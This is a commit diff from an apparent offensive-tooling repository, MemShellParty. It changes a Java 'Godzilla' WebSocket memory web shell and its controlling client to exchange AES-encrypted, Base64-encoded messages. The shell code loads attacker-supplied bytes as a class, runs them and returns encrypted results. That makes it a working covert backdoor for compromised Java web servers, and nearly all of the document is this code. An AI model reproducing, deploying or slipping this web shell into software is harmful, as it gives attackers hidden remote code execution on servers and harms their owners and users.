archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: support AES_BASE64 GodzillaWebSocket by default

Browse Source
This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent 3c1c1cb8fc
commit eeed6e45c7
2 changed files with 50 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java
+43 -8
View File
@@ -9,13 +9,12 @@ import javax.websocket.Session;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
/**
* @author ReaJason
* @since 2025/5/9
*/
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public static String key;
private Session session;
@@ -45,28 +44,64 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
}
@Override
public void onMessage(ByteBuffer byteBuffer) {
public void onMessage(String message) {
try {
byte[] data = byteBuffer.array();
byte[] data = base64Decode(message);
data = x(data, false);
byte[] response = new byte[0];
if (payload == null) {
payload = Q(data);
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
} else {
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
Object obj = payload.newInstance();
obj.equals(data);
obj.equals(bos);
obj.toString();
response = bos.toByteArray();
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
}
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true)));
} catch (Throwable e) {
e.printStackTrace();
try {
session.close();
} catch (java.io.IOException ignored) {
}
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java
+7 -3
View File
@@ -196,7 +196,9 @@ public class GodzillaManager implements Closeable {
}
if (isWs()) {
try {
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
return true;
} catch (Exception e) {
e.printStackTrace();
@@ -226,8 +228,10 @@ public class GodzillaManager implements Closeable {
}
if (isWs()) {
byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
byte[] x = aes(key, bytes1, false);
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
byte[] x = aes(key, Base64.decodeBase64(response), false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
}